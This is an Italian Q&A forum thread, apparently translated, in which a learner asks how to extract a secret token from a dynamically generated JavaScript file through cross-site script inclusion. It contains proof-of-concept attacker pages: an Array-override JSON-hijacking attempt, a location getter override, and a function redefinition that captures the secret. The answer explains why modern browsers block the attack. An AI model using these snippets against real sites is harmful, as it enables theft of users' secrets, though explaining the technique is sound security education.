Come ottenere il contenuto JS dalla vulnerabilità XSS?

2

Sto imparando sugli attacchi XSSI e mi chiedo se è possibile utilizzare il seguente JS dinamico per accedere al contenuto.

Dinamic.js:

if (window.location.hostname === 'Demo.site.com' ){
    updateLoginHeader('Nick', 'IWANT-THIS-SECRET'); }

L'attaccante può recuperare IWANT-THIS-SECRET usando il tag javascript? Stavo provando qualcosa come:

<script type="text/javascript">
var secrets;

Array = function() {
  secrets = this;
};
</script>

<script src="https://example.com/Dinamic.js"type="text/javascript"></script>

<script type="text/javascript">

  var yourData = '';
  var i = -1;
  while(secrets[++i]) {
    yourData += secrets[i] + ' ';
  }

  alert('I stole your data: ' + yourData);
</script>

Qualche idea per recuperare IWANT-THIS-SECRET?

    
posta pancho 29.05.2017 - 09:48
fonte

1 risposta

3

Per un successo attacco di inclusione di script tra siti devi bypassare questo controllo di origine:

if (window.location.hostname === 'Demo.site.com')

Questo non è possibile perché i browser moderni non ti consentono di eseguire l'override di window.location , come spiegato qui e qui . La proprietà hostname è di sola lettura per motivi di sicurezza. Ciò significa che solo Demo.site.com può accedere al token IWANT-THIS-SECRET eseguendo il file JS.

Nei browser più vecchi, una ridefinizione della proprietà poteva essere simile a questa:

window.__defineGetter__("location", function(){
    return { hostname: "attacker.exmaple" }
});

Ma se ci provi, riceverai un messaggio di errore. Ad esempio, per Firefox:

TypeError: can't redefine non-configurable property "location"

Se fosse in grado di aggirare il controllo dell'origine, un semplice attacco XSSI potrebbe quindi funzionare in questo modo:

<script>
function updateLoginHeader() {
    alert(arguments[1]);
}
</script>
<script src="https://targetsite.example/Dinamic.js"></script>

Comepuoivedere,devisolodefinirelatuafunzionechecattural'argomentodellafunzione"segreto". (Il tuo tentativo di ridefinire Array sembra più un approccio al dirottamento JSON che non è di aiuto in questo caso e generalmente non avrebbe alcun successo in alcun browser moderno.)

    
risposta data 29.05.2017 - 13:04
fonte

Leggi altre domande sui tag